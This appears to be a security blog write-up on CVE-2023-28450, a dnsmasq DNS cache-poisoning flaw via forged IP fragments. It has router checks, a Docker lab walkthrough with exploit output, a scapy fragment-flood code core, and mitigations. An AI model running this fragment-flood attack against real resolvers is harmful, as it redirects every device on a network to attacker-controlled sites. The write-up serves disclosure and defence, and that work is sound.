CVE-2023-28450: DNS cache poisoning via IP fragmentation in dnsmasq
Questi contenuti non sono ancora disponibili nella tua lingua.
Your home router is a DNS resolver. Every device on your network, your phone, your laptop, your smart TV, asks it “what is the IP of google.com?” and trusts the answer. The software behind this is usually dnsmasq, a lightweight DNS forwarder embedded in most consumer routers.
CVE-2023-28450 is a vulnerability in dnsmasq versions before 2.90. The default EDNS UDP buffer (4096 bytes) allows DNS responses to be IP-fragmented. An attacker on the local network can inject a forged IP fragment to poison the DNS cache of every device on the network.
The fix has been available upstream since March 2024. ISP routers have not updated dnsmasq.
The real problem: ISPs ship ancient software
Section titled “The real problem: ISPs ship ancient software”When a security researcher says “the vulnerability has been patched”, it means the source code was fixed. It does not mean the fix reached the devices that need it.
| Date | Event |
|---|---|
| 2023-03-15 | CVE-2023-28450 publicly disclosed |
| 2024-03 | dnsmasq 2.90 released with the fix |
| 2024-2026 | Major Linux distributions ship the patch |
| 2026-11 | We test an ISP router. It runs dnsmasq 2.84rc2, a binary from 2018 |
What we found on a test device (our own home network):
| Check | Result |
|---|---|
| dnsmasq version | 2.84rc2 (from 2018, six years behind) |
| EDNS buffer | 1220 (lowered via config, fragmentation blocked) |
| Binary updated? | No. The dnsmasq binary was never replaced |
The vendor applied the cheapest possible fix: a one-line config change
(edns-packet-max=1220) without touching the actual software. This blocks the specific
fragmentation attack, but leaves a 6-year-old DNS forwarder handling every query on the network.
Not every device has even this band-aid. ISP-provided equipment comes from dozens of ODMs (Sercomm, Sagemcom, Technicolor, Arcadyan) across different countries and firmware branches. Some may have applied the config workaround. Others ship with the original 4096-byte default and are fully exploitable. Without testing, there is no way to know.
Background: how DNS resolution works on your LAN
Section titled “Background: how DNS resolution works on your LAN”When your phone queries google.com, the request goes to the router’s dnsmasq. dnsmasq forwards
the query to the ISP’s upstream DNS servers, caches the answer, and serves it to all devices on
the network. Every device trusts the answer unconditionally.
This makes dnsmasq a single point of failure: poison its cache, and every device on the network gets the poisoned answer.
Root cause: EDNS buffer size and IP fragmentation
Section titled “Root cause: EDNS buffer size and IP fragmentation”Traditional DNS (RFC 1035) limits UDP responses to 512 bytes. RFC 2671 introduced EDNS0, allowing clients and servers to negotiate larger UDP payload sizes via an OPT pseudo-record.
When dnsmasq talks to upstream DNS servers, it announces: “I can accept UDP responses up to 4096 bytes.” This was the default in all versions before 2.90.
4096 bytes is dangerous because of how IP handles large packets.
IP fragmentation
Section titled “IP fragmentation”Ethernet frames carry a maximum of approximately 1500 bytes (the MTU). When a DNS response exceeds the MTU, the network layer splits it into IP fragments:
+--------------------+------------------+------------------+| IP Header | UDP Header | DNS Header || src: 8.8.8.8 | src port: 53 | TXID: 0xABCD || dst: 192.168.1.1 | dst port: 4521 | || IP ID: 0x1234 | | || MF=1, offset=0 | | |+--------------------+------------------+------------------+| DNS Answer data (first part) || TXT padding records... |+----------------------------------------------------------+ [ok] Contains TXID + ports: dnsmasq validates this+----------------------------------------------------------+| IP Header || src: 8.8.8.8 || dst: 192.168.1.1 || IP ID: 0x1234 <- the ONLY thing linking it || MF=0, offset=185 |+----------------------------------------------------------+| DNS Answer data (remaining part) || A record: google.com -> 142.250.74.46 |+----------------------------------------------------------+ [!!] NO UDP header, NO DNS TXID Identified ONLY by the 16-bit IP IDThe kernel reassembles fragments using a tuple of (source IP, destination IP, protocol, IP ID). The second fragment has no DNS-level authentication at all. The IP ID is a 16-bit value with 65,536 possibilities.
Why TXID does not help
Section titled “Why TXID does not help”A common misconception is that DNS transaction ID (TXID) randomization protects against this attack. It does not.
Standard DNS cache poisoning (Kaminsky-style): the attacker forges complete DNS responses and must guess both the TXID (16-bit) and the source port (16-bit), making the combined search space approximately 4 billion. This is hard to brute-force.
Fragment-based cache poisoning (CVE-2023-28450): the attacker forges only the second fragment. The TXID and source port live in the first fragment, which is legitimate and untouched. The only value to guess is the IP ID: 16 bits, 65,536 possibilities. That is a brute-force of less than 4 MB on a local network.
The attack
Section titled “The attack”Prerequisites
Section titled “Prerequisites”| Requirement | Detail |
|---|---|
| Network position | Same LAN as the target router (Wi-Fi or Ethernet) |
| Target | dnsmasq < 2.90 with EDNS buffer > 1232 |
| Capability | Raw socket access (CAP_NET_RAW or root) |
| Trigger | A DNS query that produces a fragmentable response (> MTU) |
The network position requirement is realistic: a compromised IoT device, a guest on the Wi-Fi, or a malicious app on any connected device.
Attack flow
Section titled “Attack flow” Attacker (LAN) Router (dnsmasq) Upstream DNS | | | | 1. Trigger DNS query | | | for target domain | | |-------------------------->| 2. Forward query | | |-------------------------->| | | | | 3. Flood 65,536 forged | 4. Real response | | second fragments | (fragmented) | | (~4 MB, <50ms on LAN) |<--------------------------| |-------------------------->| | | | | | | 5. Kernel reassembles | | | frag 1 (legit, TXID) | | | + frag 2 (FORGED) | | | = poisoned response | | | cached for hours | | | | | ALL devices now resolve | | | target domain to the | | | attacker's IP | | |<--------------------------| |- Trigger a DNS query for a target domain. The attacker controls an authoritative nameserver that returns large responses (> MTU) with TXT padding records, so the response is IP-fragmented. The A record is placed last, ensuring it falls in the second fragment.
- Flood the router with 65,536 forged second fragments, one for every possible IP ID. Each forged fragment contains a poisoned A record pointing the target domain to the attacker’s IP.
- Win the race: if a forged fragment arrives before the real one and the IP ID matches, the kernel assembles a valid-looking response. The first fragment (legitimate) provides the TXID and port validation. The second fragment (forged) provides the poisoned answer. dnsmasq caches it.
The numbers
Section titled “The numbers”| Metric | Value |
|---|---|
| IP ID search space | 65,536 (16-bit) |
| Bytes per forged fragment | ~60 |
| Total flood size | ~3.9 MB |
| Time to send on LAN (1 Gbps) | < 50 ms |
| Attack success per attempt | High (attacker has natural timing advantage on LAN) |
Impact
Section titled “Impact”Once the DNS cache is poisoned:
- Every device on the network resolves the targeted domain to the attacker’s IP
- The attacker serves a pixel-perfect phishing page (bank, email, social media)
- Works against any domain, including software update servers (enabling malware delivery)
- Persists until the cache TTL expires (minutes to hours)
- Can be repeated indefinitely
Reconnaissance: check your own router
Section titled “Reconnaissance: check your own router”Before running the full exploit, check whether your router is vulnerable. These checks are passive and non-destructive.
Quick check with dig
Section titled “Quick check with dig”dig @192.168.1.1 +bufsize=4096 +edns=0 example.com A | grep "udp:"| Output | Meaning |
|---|---|
udp: 4096 |
Vulnerable. EDNS buffer at the insecure default |
udp: 1232 or less |
Mitigated. Responses fit in a single packet |
udp: 1220 |
Config band-aid applied, but dnsmasq may still be outdated |
dig @192.168.1.1 version.bind TXT CHAOS +shortA version below 2.90 means the software was never properly updated, even if the EDNS buffer was lowered.
Full scan with the PoC tools
Section titled “Full scan with the PoC tools”The CVE-2023-28450-PoC repository provides two scanners:
git clone https://github.com/vitalelele/CVE-2023-28450-PoC.gitcd CVE-2023-28450-PoCchmod +x scripts/verify.sh./scripts/verify.sh 192.168.1.1pip install dnspythonpython3 scripts/poc.py --target 192.168.1.1 --verboseExample output (mitigated via config):
[VULN] dnsmasq 2.84 < 2.90 - affected by CVE-2023-28450 [PASS] EDNS buffer = 1220 bytes (<= 1232, safe against fragmentation) [PASS] TXID randomization: well-randomized (irrelevant - attack bypasses TXID) [PASS] DNSpooq (CVE-2020-25681-87): patched in 2.83
VERDICT: MITIGATED (config workaround, dnsmasq still outdated)Example output (vulnerable):
[VULN] dnsmasq 2.84 < 2.90 - affected by CVE-2023-28450 [VULN] EDNS buffer = 4096 bytes (must be <= 1232 to be safe) [PASS] TXID randomization: well-randomized (irrelevant - attack bypasses TXID) [PASS] DNSpooq (CVE-2020-25681-87): patched in 2.83
VERDICT: VULNERABLEExploitation: the Docker lab
Section titled “Exploitation: the Docker lab”The CVE-2023-28450-PoC repository includes a self-contained Docker lab that demonstrates the complete exploit chain end-to-end. No real routers are involved.
Lab architecture
Section titled “Lab architecture”+--------------------------------------------------------------+| Docker Network: 172.30.0.0/24 || || +----------------+ +----------------+ +----------------+ || | attacker | | resolver | | rogue-ns | || | 172.30.0.30 | | 172.30.0.10 | | 172.30.0.20 | || | | | | | | || | Python + scapy | | dnsmasq 2.89 | | Fake auth. | || | Runs the | | EDNS = 4096 | | DNS server | || | exploit | | (vulnerable) | | Serves large | || | | | | | responses | || +----------------+ +----------------+ +----------------+ |+--------------------------------------------------------------+| Container | Role |
|---|---|
| victim-resolver | dnsmasq with EDNS buffer 4096 (simulates an ISP router) |
| rogue-ns | Attacker’s authoritative nameserver, serves large responses to trigger fragmentation |
| attacker | Runs the exploit: crafts and sends forged IP fragments with scapy |
Running the exploit
Section titled “Running the exploit”cd lab/docker compose up -d --builddocker compose exec attacker python3 /exploit/attack.pydocker compose logs -f victim-resolverStep-by-step output
Section titled “Step-by-step output”The exploit runs in six steps with full visibility at each stage.
Step 1: Reconnaissance. The script confirms the EDNS buffer is 4096 (vulnerable) and identifies the dnsmasq version.
Step 2: Baseline. It queries target.vuln.lab and confirms it resolves to 1.2.3.4
(the legitimate IP). This is what we will poison.
Step 3: Fragmentation observed. The script captures the IP fragments from a real DNS response and displays them in a table, showing that the second fragment has no DNS header:
Packet IP ID Offset MF Size DNS Hdr? --------- ------------ ---------- ------ -------- ---------- #1 0xA3F1 0 True 1500 True #2 0xA3F1 185 False 548 False <-- TARGETThe second fragment is identified only by the IP ID. This is what the exploit replaces.
Step 4: Cache flush. The script evicts cached entries by flooding random queries, ensuring the next resolution goes to upstream (and triggers fragmentation).
Step 5: The attack. The exploit crafts 65,536 forged second fragments (one for every
possible IP ID), each containing a poisoned A record (target.vuln.lab → 6.6.6.6). It sends
them all to the resolver, then triggers a fresh DNS query:
Forged payload: 892 bytes Generating 65,536 forged fragments... SENDING FRAGMENT FLOOD... [████████████████████████████████████████] 100.0% (65,536/65,536) Flood sent in 2.34s (28,006 packets/sec) Triggering fresh DNS query for target.vuln.lab...Step 6: Verification. The script queries target.vuln.lab again:
+-----------------------------------------------+ | target.vuln.lab resolves to: | | | | >>> 6.6.6.6 <<< | | | | CACHE POISONED SUCCESSFULLY | | | | Expected: 1.2.3.4 (legitimate) | | Got: 6.6.6.6 (attacker-controlled) | +-----------------------------------------------+Every device using this resolver now resolves target.vuln.lab to the attacker’s IP.
How the exploit works (code)
Section titled “How the exploit works (code)”The core of the exploit is straightforward. The attacker builds a forged second fragment for every possible IP ID and sends them all before the real second fragment arrives:
from scapy.all import IP, Raw, send
ROGUE_NS_IP = "172.30.0.20" # spoofed sourceRESOLVER_IP = "172.30.0.10" # target
packets = []for ipid in range(65536): pkt = ( IP( src=ROGUE_NS_IP, dst=RESOLVER_IP, id=ipid, flags=0, # MF=0 (last fragment) frag=frag_offset, # matches the real second fragment proto=17, # UDP ) / Raw(load=poison_payload) ) packets.append(pkt)
send(packets, verbose=0)The poison_payload is crafted to match the exact size of the legitimate second fragment. It
contains a poisoned A record (target.vuln.lab → 6.6.6.6 with TTL 3600) in the same position
where the real A record would be, plus an OPT record (EDNS) to match the response structure.
The key insight: the TXID, source port, and DNS header are all in the first fragment, which is legitimate. The exploit only replaces the data portion that falls in the second fragment. The kernel reassembles them based on IP ID alone.
docker compose downLab vs. real world
Section titled “Lab vs. real world”| Lab | Real world |
|---|---|
| Rogue NS on the same Docker network | Rogue NS anywhere on the internet (attacker’s domain) |
| Attacker container has raw sockets | Attacker needs root/CAP_NET_RAW on a LAN device |
Fixed target domain (vuln.lab) |
Any domain the attacker controls the authoritative NS for |
| All containers start clean | Router has long-lived cache, may need TTL-based eviction |
The core mechanics are identical. The EDNS buffer, the fragmentation, the IP ID brute-force, and the cache poisoning work the same way.
The fix and why 1232
Section titled “The fix and why 1232”The fix in dnsmasq 2.90:
// Before (vulnerable):#define SAFE_PKTSZ 4096
// After (fixed):#define SAFE_PKTSZ 1232The value 1232 comes from DNS Flag Day 2020:
Minimum IPv6 MTU: 1280 bytes - IPv6 header: 40 bytes - UDP header: 8 bytes = Maximum safe DNS payload: 1232 bytesAt 1232 bytes, DNS responses fit in a single packet on any standard network path. No fragmentation occurs, so there is no second fragment, and the attack surface disappears entirely.
Mitigation
Section titled “Mitigation”For users
Section titled “For users”Option 1: Change your DNS settings (recommended, 2 minutes). Go to your router’s admin panel and set the DNS servers to a patched public resolver:
| Field | Value |
|---|---|
| Primary DNS | 1.1.1.1 (Cloudflare) or 8.8.8.8 (Google) |
| Secondary DNS | 1.0.0.1 or 8.8.4.4 |
This makes all devices bypass the router’s dnsmasq and query a patched resolver directly.
Option 2: Use DNS-over-HTTPS/TLS on your devices. Configure DoH or DoT on each device. This encrypts DNS and prevents any cache poisoning, regardless of the router.
| Platform | Setting |
|---|---|
| Android 9+ | Settings, Network, Private DNS: 1dot1dot1dot1.cloudflare-dns.com |
| iOS 14+ | Install a DNS profile from 1.1.1.1 |
| Windows 11 | Settings, Network, DNS, Encrypted DNS |
| macOS | System Settings, Network, DNS, enable DoH |
Option 3: Replace the router. Use the ISP’s device as a modem only (bridge mode) and connect your own router running updated software (OpenWrt, pfSense, or a modern off-the-shelf router).
For ISPs and ODMs
Section titled “For ISPs and ODMs”- Ship dnsmasq >= 2.90 in new firmware releases
- If updating is not feasible, set
edns-packet-max=1232in the configuration - Enable automatic firmware updates
For dnsmasq users (Linux, containers, embedded)
Section titled “For dnsmasq users (Linux, containers, embedded)”dnsmasq --version | head -1
# If < 2.90, add to /etc/dnsmasq.conf:echo "edns-packet-max=1232" | sudo tee -a /etc/dnsmasq.confsudo systemctl restart dnsmasqNVD rates this as CVSS 3.1 7.5 (High) with
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N. Our assessment is 6.5 (Medium) with
AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, using AV:A (Adjacent Network) because the fragment
injection requires LAN access. The NVD score may consider scenarios where the attacker is on-path
between the resolver and the upstream server (e.g., at the ISP level).
Timeline
Section titled “Timeline”| Date | Event |
|---|---|
| 2023-03-15 | CVE-2023-28450 publicly disclosed |
| 2024-03 | dnsmasq 2.90 released with the fix (default EDNS buffer lowered to 1232) |
| 2024-2026 | Major Linux distributions ship the patch |
| 2026-11 | PoC created and tested on own network, over 2 years after the upstream patch |
References
Section titled “References”- NVD - CVE-2023-28450
- dnsmasq Changelog
- Ubuntu USN-6657-1
- Red Hat - CVE-2023-28450
- RFC 6891 - EDNS0
- RFC 8900 - IP Fragmentation Considered Fragile
- DNS Flag Day 2020 - Why 1232
- CVE-2023-28450-PoC - Scanner, Docker exploitation lab, and technical documentation by @vitalelele
1081 parole, circa 5 min di lettura